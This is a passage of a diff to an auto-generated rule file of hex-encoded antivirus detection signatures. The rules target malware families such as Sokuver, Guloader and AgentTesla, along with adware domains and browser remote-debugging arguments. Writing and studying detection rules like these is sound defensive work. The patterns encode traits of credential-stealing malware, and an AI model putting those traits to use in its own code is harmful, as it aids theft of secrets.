72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 6f 6b 75 76 65 72 } //20804 + $a_ba_6 = {a8 07 80 } //3072 + $a_ff_7 = {90 00 03 00 0c 03 ba 24 a8 07 80 90 02 80 ff 15 90 00 03 00 0c 03 ba 34 28 07 80 90 02 80 ff 15 90 00 03 00 0c 03 ba 3c 28 07 80 90 02 80 ff 15 90 00 03 00 0c 03 ba 38 28 07 80 90 02 80 ff 15 90 00 03 00 0c 03 ba 04 28 07 80 90 02 80 ff 15 90 00 03 00 0c 03 ba 40 a8 07 80 90 02 80 ff 15 90 00 03 00 0c 03 ba 2c 28 07 80 90 02 80 ff 15 90 00 03 00 0c 03 ba 50 28 07 80 90 02 80 ff 15 } //656 + $a_00_8 = {0c 03 ba } //144 + $a_80_9 = {02 80 ff 15 90 00 03 } //��� -22488 + $a_ba_10 = {68 07 80 } //3072 + $a_ff_11 = {90 00 03 00 0c 03 ba 18 68 07 80 90 02 80 ff 15 90 00 03 00 0c 03 ba 54 68 07 80 90 02 80 ff 15 90 00 03 00 0c 03 ba 44 68 07 80 90 02 80 ff 15 90 00 03 00 0c 03 ba 20 68 07 80 90 02 80 ff 15 90 00 03 00 0c 03 ba 48 68 07 80 90 02 80 ff 15 90 00 03 00 0c 03 ba 0c a8 07 80 90 02 80 ff 15 90 00 03 00 0c 03 ba 15 68 07 80 90 02 80 ff 15 90 00 03 00 0c 03 ba 10 a8 07 80 90 02 80 ff 15 } //656 + $a_00_12 = {0c 03 ba } //144 + $a_80_13 = {02 80 ff 15 90 00 03 } //��� -22452 + $a_ba_14 = {a8 07 80 } //3072 condition: - ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*384+(#a_64_2 & 1)*27241+(#a_65_3 & 1)*26998+(#a_51_4 & 1)*20804+(#a_53_5 & 1)*6912+(#a_72_6 & 1)*30580+(#a_00_8 & 1)*47+(#a_00_11 & 1)*65+(#a_00_12 & 1)*108+(#a_77_13 & 1)*28267+(#a_61_14 & 1)*281) >=24 + ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*384+(#a_64_2 & 1)*27241+(#a_65_3 & 1)*26998+(#a_51_4 & 1)*20804+(#a_ba_6 & 1)*3072+(#a_ff_7 & 1)*656+(#a_00_8 & 1)*144+(#a_80_9 & 1)*-22488+(#a_ba_10 & 1)*3072+(#a_ff_11 & 1)*656+(#a_00_12 & 1)*144+(#a_80_13 & 1)*-22452+(#a_ba_14 & 1)*3072) >=24 } -rule _InfrastructureShared_19299{ +rule _InfrastructureShared_20501{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffcc 00 ffffffcc 00 1a 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 6f 6b 75 76 65 72 2e 41 00 03 00 0c 03 ba 08 a8 07 80 90 02 80 ff 15 90 00 03 00 0c 03 ba 24 a8 07 80 90 02 80 ff 15 90 00 03 00 0c 03 ba 34 28 07 80 90 02 80 ff 15 90 00 03 00 0c 03 ba } //16675 + $a_80_1 = {02 80 ff 15 90 00 03 } //��� 10300 + $a_ba_2 = {28 07 80 } //3072 + $a_ff_3 = {90 00 03 00 0c 03 ba 04 28 07 80 90 02 80 ff 15 90 00 03 00 0c 03 ba 40 a8 07 80 90 02 80 ff 15 90 00 03 00 0c 03 ba 2c 28 07 80 90 02 80 ff 15 90 00 03 00 0c 03 ba 50 28 07 80 90 02 80 ff 15 90 00 03 00 0c 03 ba 28 a8 07 80 90 02 80 ff 15 90 00 03 00 0c 03 ba 30 68 07 80 90 02 80 ff 15 90 00 03 00 0c 03 ba 18 68 07 80 90 02 80 ff 15 90 00 03 00 0c 03 ba 54 68 07 80 90 02 80 ff 15 } //656 + $a_00_4 = {0c 03 ba } //144 + $a_80_5 = {02 80 ff 15 90 00 03 } //��� 26692 + $a_ba_6 = {68 07 80 } //3072 + $a_ff_7 = {90 00 03 00 0c 03 ba 48 68 07 80 90 02 80 ff 15 90 00 03 00 0c 03 ba 0c a8 07 80 90 02 80 ff 15 90 00 03 00 0c 03 ba 15 68 07 80 90 02 80 ff 15 90 00 03 00 0c 03 ba 10 a8 07 80 90 02 80 ff 15 90 00 03 00 0c 03 ba 4c a8 07 80 90 02 80 ff 15 90 00 03 00 0c 03 ba 1c a8 07 80 90 02 80 ff 15 90 00 03 00 0c 03 ba 28 70 07 80 90 02 80 ff 15 90 00 03 00 0c 03 ba 32 68 07 80 90 02 80 ff 15 } //656 + $a_00_8 = {0f 01 44 65 76 69 63 65 49 6f 43 6f 6e 74 72 6f 6c 01 00 04 80 01 2e 62 6c 66 01 00 04 80 01 4c 4f 47 3a 00 00 78 bb 01 00 01 00 01 00 08 00 21 23 48 53 54 52 3a 52 65 6c 65 76 61 6e 74 4b 6e 6f 77 6c 65 64 67 65 00 01 00 1b 01 53 6f 66 74 77 61 72 65 5c 52 65 6c 65 76 61 6e 74 4b 6e 6f 77 6c 65 64 67 65 5c 01 00 0b 01 72 6c 76 6b 6e 6c 67 2e 65 78 65 fb ff 5e 00 43 00 6f 00 6d 00 70 00 61 00 6e 00 79 00 4e 00 61 00 6d 00 65 00 00 00 00 00 49 00 6c 00 79 00 61 00 20 00 4b 00 68 00 65 00 79 00 66 00 65 00 74 00 73 00 20 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 77 00 77 00 77 00 2e 00 61 00 } //144 + $a_00_9 = {69 00 72 00 2e 00 6e 00 65 00 74 00 fb ff 36 00 43 00 6f 00 6d 00 70 00 61 00 6e 00 79 00 4e 00 61 00 6d 00 65 00 00 00 00 00 41 00 6e 00 76 00 69 00 72 00 20 00 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 fb ff 26 00 4c 6f 67 20 66 69 6c 65 20 63 72 65 61 74 65 64 20 62 79 20 41 6e 56 69 72 20 54 61 73 6b 20 4d 61 6e 61 67 65 72 fb ff 34 00 46 00 } //110 + $a_00_10 = {65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e 00 00 00 00 00 58 00 2d 00 43 00 6c 00 65 00 61 00 6e 00 65 00 72 00 fb ff 34 00 43 00 6f 00 6d 00 70 00 61 00 6e 00 79 00 4e 00 61 00 6d 00 65 00 00 00 00 00 54 00 6f 00 74 00 61 00 6c 00 20 00 50 00 43 00 20 00 43 00 61 00 72 00 65 00 fb ff 32 00 20 62 } //105 + $a_61_11 = {20 4c 6f 64 65 6e 2e 20 43 72 65 61 74 65 64 20 74 6f 20 72 65 6d 6f 76 65 20 6b 6e 6f 77 6e 20 41 49 4d 20 76 69 72 75 73 65 73 00 00 78 bb 01 00 04 00 04 00 07 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 } //8313 + $a_2f_12 = {65 44 4c 4c 5f 4a 61 76 61 73 63 72 69 70 74 5f 44 65 63 72 79 70 74 6f 72 00 04 00 2f 03 53 45 44 6c 6c 5f 57 69 6e 33 32 2e 64 6c 6c 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 04 00 56 03 72 00 65 00 67 00 73 00 76 00 72 00 33 00 32 00 20 00 2f 00 73 00 20 } //29807 + $a_00_14 = {20 00 44 00 52 00 20 00 5f 00 5f 00 43 00 49 00 4d 00 5f 00 5f 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d } //115 + $a_02_15 = {00 90 2c 01 09 30 2d 39 41 } //-28550 + $a_2d_16 = {90 00 01 00 28 03 57 53 63 72 69 70 74 57 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 28 03 49 57 53 63 72 69 70 74 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 30 03 25 00 73 } //23085 + $a_00_18 = {25 00 64 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 30 03 50 75 74 42 6c 6f 63 6b 54 6f 46 69 6c 65 57 57 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 30 03 43 68 65 63 6b 55 70 41 6e 64 44 6f 77 6e 57 57 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 } //115 + $a_61_19 = {7a 41 2d 5a 30 2d 39 } //281 + $a_bb_20 = {00 0e 00 0e 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4b 4b 41 41 21 4d 54 42 00 02 00 3c 01 5b 00 5c 00 77 00 2d 00 5d 00 7b 00 32 00 34 00 7d 00 5c 00 2e 00 5b 00 5c 00 77 00 2d 00 5d 00 7b 00 36 00 7d 00 5c 00 2e 00 5b 00 5c 00 77 00 2d 00 5d 00 7b 00 32 00 37 00 7d 00 02 00 1c 01 6d 00 66 00 61 00 } //0 + $a_00_21 = {5b 00 5c 00 77 00 2d 00 5d 00 7b 00 38 00 34 00 7d 00 02 00 22 01 28 00 5b 00 41 00 2d 00 7a 00 30 00 2d 00 39 00 5c 00 2f 00 5c 00 2e 00 } //92 + $a_00_22 = {5d 00 2b 00 29 00 02 00 5c 01 28 00 68 00 6f 00 73 00 74 00 6e 00 61 00 6d 00 65 00 7c 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 } //92 + $a_00_24 = {73 00 77 00 6f 00 72 00 64 00 7c 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 55 00 73 00 65 00 72 00 6e 00 61 00 6d 00 65 00 29 00 02 00 16 01 7b 00 28 00 2e 00 2a 00 29 00 2c 00 28 00 2e 00 2a 00 29 00 7d 00 02 00 64 01 4d 00 6f 00 7a 00 69 00 6c 00 6c 00 61 00 2f 00 35 00 2e 00 30 00 20 00 28 00 57 00 69 00 6e 00 64 00 6f 00 77 } //97 + condition: + ((#a_46_0 & 1)*16675+(#a_80_1 & 1)*10300+(#a_ba_2 & 1)*3072+(#a_ff_3 & 1)*656+(#a_00_4 & 1)*144+(#a_80_5 & 1)*26692+(#a_ba_6 & 1)*3072+(#a_ff_7 & 1)*656+(#a_00_8 & 1)*144+(#a_00_9 & 1)*110+(#a_00_10 & 1)*105+(#a_61_11 & 1)*8313+(#a_2f_12 & 1)*29807+(#a_00_14 & 1)*115+(#a_02_15 & 1)*-28550+(#a_2d_16 & 1)*23085+(#a_00_18 & 1)*115+(#a_61_19 & 1)*281+(#a_bb_20 & 1)*0+(#a_00_21 & 1)*92+(#a_00_22 & 1)*92+(#a_00_24 & 1)*97) >=204 + +} +rule _InfrastructureShared_20502{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " @@ -237972,7 +252892,7 @@ rule _InfrastructureShared_19299{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*78+(#a_00_4 & 1)*65+(#a_00_5 & 1)*108+(#a_77_6 & 1)*28267+(#a_61_7 & 1)*281) >=1 } -rule _InfrastructureShared_19300{ +rule _InfrastructureShared_20503{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -237988,7 +252908,7 @@ rule _InfrastructureShared_19300{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*2448+(#a_61_2 & 1)*281+(#a_03_3 & 1)*4+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1) >=4 } -rule _InfrastructureShared_19301{ +rule _InfrastructureShared_20504{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 07 00 21 " @@ -238002,7 +252922,7 @@ rule _InfrastructureShared_19301{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*119+(#a_00_3 & 1)*65+(#a_00_5 & 1)*101+(#a_00_6 & 1)*97) >=14 } -rule _InfrastructureShared_19302{ +rule _InfrastructureShared_20505{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 11 00 21 " @@ -238027,7 +252947,7 @@ rule _InfrastructureShared_19302{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*25965+(#a_72_2 & 1)*385+(#a_2d_3 & 1)*14178+(#a_4c_4 & 1)*12653+(#a_01_5 & 1)*27764+(#a_62_6 & 1)*400+(#a_00_7 & 1)*29537+(#a_79_8 & 1)*28530+(#a_00_9 & 1)*24950+(#a_39_10 & 1)*1281+(#a_49_12 & 1)*18432+(#a_04_13 & 1)*-28651+(#a_45_14 & 1)*18624+(#a_01_15 & 1)*-31473+(#a_90_16 & 1)*-12405) >=17 } -rule _InfrastructureShared_19303{ +rule _InfrastructureShared_20506{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 10 00 21 " @@ -238052,7 +252972,7 @@ rule _InfrastructureShared_19303{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*26990+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_bc_12 & 1)*0+(#a_60_13 & 1)*-29880+(#a_8d_14 & 1)*-14197+(#a_83_15 & 1)*-4981) >=2 } -rule _InfrastructureShared_19304{ +rule _InfrastructureShared_20507{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -238066,7 +252986,7 @@ rule _InfrastructureShared_19304{ ((#a_4c_0 & 1)*21539+(#a_89_1 & 1)*26112+(#a_90_2 & 1)*3137+(#a_8b_3 & 1)*25861+(#a_03_4 & 1)*1) >=5 } -rule _InfrastructureShared_19305{ +rule _InfrastructureShared_20508{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -238084,7 +253004,7 @@ rule _InfrastructureShared_19305{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*24934+(#a_65_2 & 1)*28271+(#a_61_3 & 1)*23553+(#a_bc_4 & 1)*0+(#a_4c_5 & 1)*25967+(#a_69_6 & 1)*25968+(#a_46_7 & 1)*299+(#a_6b_8 & 1)*26995) >=9 } -rule _InfrastructureShared_19306{ +rule _InfrastructureShared_20509{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -238103,7 +253023,7 @@ rule _InfrastructureShared_19306{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*25857+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_bc_9 & 1)*0) >=10 } -rule _InfrastructureShared_19307{ +rule _InfrastructureShared_20510{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0c 00 21 " @@ -238123,7 +253043,7 @@ rule _InfrastructureShared_19307{ ((#a_4c_0 & 1)*21539+(#a_02_1 & 1)*-28440+(#a_15_2 & 1)*20735+(#a_01_3 & 1)*2+(#a_01_4 & 1)*2+(#a_01_5 & 1)*2+(#a_bc_6 & 1)*0+(#a_00_7 & 1)*49+(#a_00_8 & 1)*53+(#a_00_9 & 1)*51+(#a_00_11 & 1)*56) >=10 } -rule _InfrastructureShared_19308{ +rule _InfrastructureShared_20511{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -238139,7 +253059,7 @@ rule _InfrastructureShared_19308{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*50+(#a_00_3 & 1)*51+(#a_33_5 & 1)*2560+(#a_00_7 & 1)*53+(#a_00_9 & 1)*116+(#a_00_10 & 1)*56) >=11 } -rule _InfrastructureShared_19309{ +rule _InfrastructureShared_20512{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -238160,7 +253080,7 @@ rule _InfrastructureShared_19309{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*23553+(#a_01_2 & 1)*27748+(#a_6e_3 & 1)*26996+(#a_61_4 & 1)*28524+(#a_37_5 & 1)*25399+(#a_75_6 & 1)*29541+(#a_65_7 & 1)*11891+(#a_6f_8 & 1)*25970+(#a_53_9 & 1)*14958+(#a_06_10 & 1)*400+(#a_90_11 & 1)*1540) >=12 } -rule _InfrastructureShared_19310{ +rule _InfrastructureShared_20513{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -238183,7 +253103,7 @@ rule _InfrastructureShared_19310{ ((#a_54_0 & 1)*18467+(#a_76_1 & 1)*27717+(#a_69_2 & 1)*29541+(#a_52_3 & 1)*25974+(#a_61_4 & 1)*29249+(#a_00_5 & 1)*21581+(#a_04_6 & 1)*-28561+(#a_90_7 & 1)*1026+(#a_f1_8 & 1)*257+(#a_00_9 & 1)*26478+(#a_6f_10 & 1)*17921+(#a_6f_11 & 1)*267+(#a_00_12 & 1)*114+(#a_65_13 & 1)*28783) >=14 } -rule _InfrastructureShared_19311{ +rule _InfrastructureShared_20514{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -238207,7 +253127,7 @@ rule _InfrastructureShared_19311{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-28632+(#a_06_2 & 1)*400+(#a_90_3 & 1)*1540+(#a_67_4 & 1)*26994+(#a_74_5 & 1)*25445+(#a_4d_6 & 1)*26991+(#a_69_7 & 1)*30305+(#a_63_8 & 1)*15737+(#a_73_9 & 1)*26991+(#a_70_10 & 1)*27756+(#a_00_11 & 1)*1+(#a_41_12 & 1)*8448+(#a_b6_13 & 1)*603+(#a_48_14 & 1)*3841) >=15 } -rule _InfrastructureShared_19312{ +rule _InfrastructureShared_20515{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -238221,7 +253141,7 @@ rule _InfrastructureShared_19312{ ((#a_70_0 & 1)*16675+(#a_20_1 & 1)*25120+(#a_63_2 & 1)*15737+(#a_73_3 & 1)*26991+(#a_70_4 & 1)*27756) >=1 } -rule _InfrastructureShared_19313{ +rule _InfrastructureShared_20516{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 02 00 03 00 21 " @@ -238233,7 +253153,7 @@ rule _InfrastructureShared_19313{ ((#a_46_0 & 1)*16675+(#a_40_1 & 1)*257+(#a_5d_2 & 1)*-3278) >=2 } -rule _InfrastructureShared_19314{ +rule _InfrastructureShared_20517{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -238244,7 +253164,7 @@ rule _InfrastructureShared_19314{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*101) >=3 } -rule _InfrastructureShared_19315{ +rule _InfrastructureShared_20518{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -238258,7 +253178,7 @@ rule _InfrastructureShared_19315{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*30789+(#a_68_2 & 1)*29795+(#a_61_3 & 1)*30029+(#a_72_4 & 1)*23606) >=4 } -rule _InfrastructureShared_19316{ +rule _InfrastructureShared_20519{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -238271,7 +253191,7 @@ rule _InfrastructureShared_19316{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*83+(#a_00_3 & 1)*101+(#a_00_4 & 1)*73) >=5 } -rule _InfrastructureShared_19317{ +rule _InfrastructureShared_20520{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -238285,7 +253205,7 @@ rule _InfrastructureShared_19317{ ((#a_54_0 & 1)*18467+(#a_46_1 & 1)*28530+(#a_00_2 & 1)*24931+(#a_74_3 & 1)*17003+(#a_00_4 & 1)*25970) >=5 } -rule _InfrastructureShared_19318{ +rule _InfrastructureShared_20521{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -238303,7 +253223,7 @@ rule _InfrastructureShared_19318{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*385+(#a_6e_3 & 1)*9473+(#a_57_4 & 1)*29798+(#a_55_5 & 1)*29554+(#a_68_6 & 1)*9587+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1) >=10 } -rule _InfrastructureShared_19319{ +rule _InfrastructureShared_20522{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -238322,7 +253242,7 @@ rule _InfrastructureShared_19319{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*25203+(#a_6f_2 & 1)*23553+(#a_79_3 & 1)*11877+(#a_5c_4 & 1)*29285+(#a_67_5 & 1)*29296+(#a_75_6 & 1)*24948+(#a_00_7 & 1)*115+(#a_00_8 & 1)*110+(#a_01_9 & 1)*1) >=10 } -rule _InfrastructureShared_19320{ +rule _InfrastructureShared_20523{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0b 00 21 " @@ -238340,7 +253260,7 @@ rule _InfrastructureShared_19320{ ((#a_73_0 & 1)*18723+(#a_4f_1 & 1)*3328+(#a_4d_2 & 1)*21358+(#a_00_4 & 1)*105+(#a_00_5 & 1)*118+(#a_00_7 & 1)*114+(#a_61_8 & 1)*27499+(#a_73_9 & 1)*29283+(#a_6e_10 & 1)*384) >=10 } -rule _InfrastructureShared_19321{ +rule _InfrastructureShared_20524{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -238353,17 +253273,15 @@ rule _InfrastructureShared_19321{ $a_6b_5 = {2d 73 61 76 69 6e 67 73 2e 63 6f 6d 01 00 0a 01 6f 69 6e 73 74 2e 63 6f 6d 2f 01 00 10 01 73 61 76 69 6e 67 73 61 64 64 6f 6e 2e 63 6f 6d 01 00 0c 01 62 75 7a 7a 64 6f 63 6b 2e 63 6f 6d 01 00 0b 01 63 6f 75 70 69 73 68 2e 63 6f 6d 01 00 11 01 64 72 6f 70 64 6f 77 6e 64 65 61 6c 73 2e 63 6f 6d 01 } //30060 $a_65_6 = {6c } //3072 l $a_65_7 = {2e 63 6f 6d 01 00 15 01 66 61 73 74 66 72 65 65 63 6f 6e 76 65 72 74 65 72 2e 63 6f 6d 01 00 0c 01 66 6f 6f 64 62 75 7a 7a 2e 6e 65 74 01 00 10 01 66 72 65 65 74 77 69 74 74 75 62 65 2e 63 6f 6d 01 00 13 01 67 65 74 73 70 65 65 64 62 72 6f 77 73 65 72 2e 63 6f 6d 01 00 10 01 6d 79 73 65 61 72 63 68 64 69 61 6c 2e 63 6f } //28527 - $a_65_9 = {69 74 2e 63 6f 6d 01 00 17 01 50 75 74 4c 6f 63 6b 65 72 44 6f 77 6e 6c 6f 61 64 65 72 2e 63 6f 6d 01 00 09 01 77 61 6a 61 6d 2e 63 6f 6d 01 00 0a 01 79 6f 6e 74 6f 6f 2e 63 6f 6d 01 00 10 01 6e 6f 70 72 6f 62 6c 65 6d 70 70 63 2e 63 6f 6d 00 00 78 be 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 } //28417 - $a_2e_10 = {56 56 56 31 32 33 21 4d 54 42 00 01 00 49 81 01 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 69 6e 64 66 6c 79 74 6e 69 6e 67 65 6e 73 5c 55 6e 69 6e 73 74 61 6c 6c 5c 47 75 72 75 65 72 73 5c 6f 75 74 65 71 75 69 76 6f 63 61 74 65 01 00 20 81 01 5c 64 61 61 72 65 6b 69 73 74 65 6c 65 6d 6d 65 74 73 5c 75 } //25956 - $a_76_11 = {62 6c 65 2e 69 6e 69 01 00 27 81 01 53 6f 66 74 77 61 72 65 5c 6f 76 65 72 73 6b 75 64 73 70 72 6f 64 75 6b 74 69 6f 6e 5c 62 65 6d 61 6e 64 65 64 65 73 01 00 21 81 01 25 62 72 75 67 73 72 69 67 74 69 67 73 74 65 73 25 5c 70 61 72 65 73 5c 70 6f 6c 79 70 2e 48 61 63 01 00 1e 81 01 5c 70 65 72 73 6f 6e 62 69 6c 65 } //26478 - $a_72_12 = {6d 73 74 61 6d 6d 65 6e 64 65 2e 68 6f 75 01 00 20 81 01 53 6f 66 74 77 61 72 65 5c 66 6f 72 76 61 6c 74 6e 69 6e 67 73 72 65 66 6f 72 6d 65 72 6e 65 73 01 00 29 81 01 53 6f 66 74 77 61 72 65 5c 47 74 65 73 6b 61 62 73 61 6e 6e 6f 6e 63 65 72 6e 65 33 37 5c 6d 69 6c 69 65 75 76 72 6e 65 74 01 00 1c 81 01 } //23662 - $a_74_13 = {61 72 65 5c 61 63 68 69 6e 65 73 65 5c 74 69 6d 62 65 72 79 61 72 64 01 00 1a 81 01 25 63 68 69 6b 61 6e 65 72 65 73 25 5c 70 65 6e 64 61 6e 74 65 72 2e 55 6e 61 01 00 14 81 01 25 6b 72 6f 6d 65 74 73 25 5c 74 79 67 67 65 74 2e 72 75 64 00 00 78 be 01 00 0c 00 0c 00 0e 00 21 23 42 4d 5f 41 54 3a 53 63 72 } //28499 - $a_43_14 = {6e 6e 65 63 74 00 0a 00 0d 80 01 73 63 72 65 65 6e 63 6f 6e 6e 65 63 74 02 00 14 81 01 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 2e 53 65 72 76 65 72 02 00 23 81 01 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 2e 57 69 6e 64 6f 77 73 42 61 63 6b 73 74 61 67 65 53 68 65 6c 6c 02 00 1b 81 01 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 2e 43 6c } //25957 + $a_65_9 = {69 74 2e 63 6f 6d 01 00 17 01 50 75 74 4c 6f 63 6b 65 72 44 6f 77 6e 6c 6f 61 64 65 72 2e 63 6f 6d 01 00 09 01 77 61 6a 61 6d 2e 63 6f 6d 01 00 0a 01 79 6f 6e 74 6f 6f 2e 63 6f 6d 01 00 10 01 6e 6f 70 72 6f 62 6c 65 6d 70 70 63 2e 63 6f 6d 00 00 78 be 01 00 04 00 04 00 04 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 } //28417 + $a_69_10 = {79 53 6e 6f 6f 70 65 72 2e 42 21 64 68 61 00 01 00 de 01 2d 00 2d 00 72 00 65 00 6d 00 6f 00 74 00 65 00 2d 00 64 00 65 00 62 00 75 00 67 00 67 00 69 00 6e 00 67 00 2d 00 70 00 6f 00 72 00 74 00 3d 00 7b 00 30 00 7d 00 20 00 2d 00 2d 00 72 00 65 00 6d } //12108 + $a_00_12 = {61 00 6c 00 6c 00 6f 00 77 00 2d 00 6f 00 72 00 69 00 67 00 69 00 6e 00 73 00 3d 00 2a 00 20 00 2d 00 2d 00 68 00 65 00 61 00 64 00 6c } //101 + $a_00_14 = {2d 00 2d 00 75 00 73 00 65 00 72 00 2d 00 64 00 61 00 74 00 61 00 2d 00 64 00 69 00 72 00 3d 00 } //115 --user-data-dir= condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1536+(#a_69_2 & 1)*29285+(#a_6c_3 & 1)*21870+(#a_4b_4 & 1)*24904+(#a_6b_5 & 1)*30060+(#a_65_6 & 1)*3072+(#a_65_7 & 1)*28527+(#a_65_9 & 1)*28417+(#a_2e_10 & 1)*25956+(#a_76_11 & 1)*26478+(#a_72_12 & 1)*23662+(#a_74_13 & 1)*28499+(#a_43_14 & 1)*25957) >=15 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1536+(#a_69_2 & 1)*29285+(#a_6c_3 & 1)*21870+(#a_4b_4 & 1)*24904+(#a_6b_5 & 1)*30060+(#a_65_6 & 1)*3072+(#a_65_7 & 1)*28527+(#a_65_9 & 1)*28417+(#a_69_10 & 1)*12108+(#a_00_12 & 1)*101+(#a_00_14 & 1)*115) >=15 } -rule _InfrastructureShared_19322{ +rule _InfrastructureShared_20525{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 16 00 21 " @@ -238382,18 +253300,29 @@ rule _InfrastructureShared_19322{ $a_01_12 = {77 61 6a 61 6d 2e 63 6f 6d } //1 wajam.com $a_01_13 = {79 6f 6e 74 6f 6f 2e 63 6f 6d } //1 yontoo.com $a_01_14 = {6e 6f 70 72 6f 62 6c 65 6d 70 70 63 2e 63 6f 6d } //1 noproblemppc.com - $a_be_15 = {00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 56 56 56 31 32 33 21 4d 54 42 00 01 00 49 